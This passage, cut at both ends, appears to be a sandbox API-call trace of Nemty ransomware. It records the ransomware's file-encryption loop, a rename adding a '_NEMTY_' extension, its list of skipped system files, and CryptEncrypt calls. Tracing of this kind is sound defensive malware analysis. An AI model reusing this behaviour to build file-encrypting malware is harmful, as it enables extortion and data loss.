lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.775] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.775] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.775] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.858] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.859] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.865] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.865] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.865] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0144.871] CloseHandle (hObject=0xffffffff) returned 0 [0144.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0144.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0144.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.871] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0144.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0144.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0144.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0144.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\flyoutBack.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\flyoutback.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\flyoutBack.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\flyoutback.png._nemty_kgobjgd_")) returned 0 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0144.872] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e78641, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84e78641, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ce74de7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="item_hover_docked.png", cAlternateFileName="")) returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="..") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="...") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="windows") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="$RECYCLE.BIN") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="rsa") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="NTDETECT.COM") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="ntldr") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="MSDOS.SYS") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="IO.SYS") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="boot.ini") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="boot.ini") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="AUTOEXEC.BAT") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="ntuser.dat") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="desktop.ini") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="CONFIG.SYS") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="RECYCLER") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="BOOTSECT.BAK") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="bootmgr") returned 1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="programdata") returned -1 [0144.872] lstrcmpiW (lpString1="item_hover_docked.png", lpString2="appdata") returned 1 [0144.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0144.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_docked.png", lpUsedDefaultChar=0x0) returned 21 [0144.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0144.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0144.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_docked.png", lpUsedDefaultChar=0x0) returned 21 [0144.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0144.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0144.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0144.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0144.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_docked.png", lpUsedDefaultChar=0x0) returned 21 [0144.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0144.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0144.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0144.873] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="item_hover_docked.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="item_hover_docked.png", lpUsedDefaultChar=0x0) returned 21 [0144.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0144.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0144.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0144.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0144.873] Sleep (dwMilliseconds=0x5) [0144.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9ffc650, dwHighDateTime=0x1d561e8)) [0144.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x9ffc650, dwHighDateTime=0x1d561e8)) [0144.875] GetLastError () returned 0x5 [0144.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0144.875] GetLastError () returned 0x5 [0144.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0144.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0144.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0144.875] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0144.875] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0144.875] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0144.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340328 [0144.875] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340328, pcchString=0x653e91c | out: pszString="JM2Vvxh+GQ3VmoDSDKIDrRMKfTo1QNCysyBjNs+aK1GaGm9bbDwqXf0Z1mQsgpe7\r\nfHXDKInnVvhhL5M5/8T9zTrRD3mJNWwjqoiBtOYS0hVb6LnNSjgruyJNqXUBOPOm\r\nv+RsFHKi+RreJNDsMcWVbBN6QWa0xxe80deCyHW2ki8zwjIHHAHFye4VKd9jIHga\r\nq6adF2jWYpYSAtwG8BHx49kTSL+KlgO2tBTp9372/lkIy7TOnb1ngioGSJMmjd+3\r\nUopfUCuKR/MJvcVTpMQm66505WNjpnhvT319JlWB8BJFDRl55lOIjZiXuwp+WoKn\r\nmwop1MmLN7+eOKvTiHg/EA==\r\n", pcchString=0x653e91c) returned 1 [0144.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0144.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0144.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0144.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0144.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340328 [0144.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0144.876] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\item_hover_docked.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\item_hover_docked.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.876] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0144.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0144.876] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.876] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.886] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.886] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.886] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.914] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0144.914] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0144.914] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0144.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) 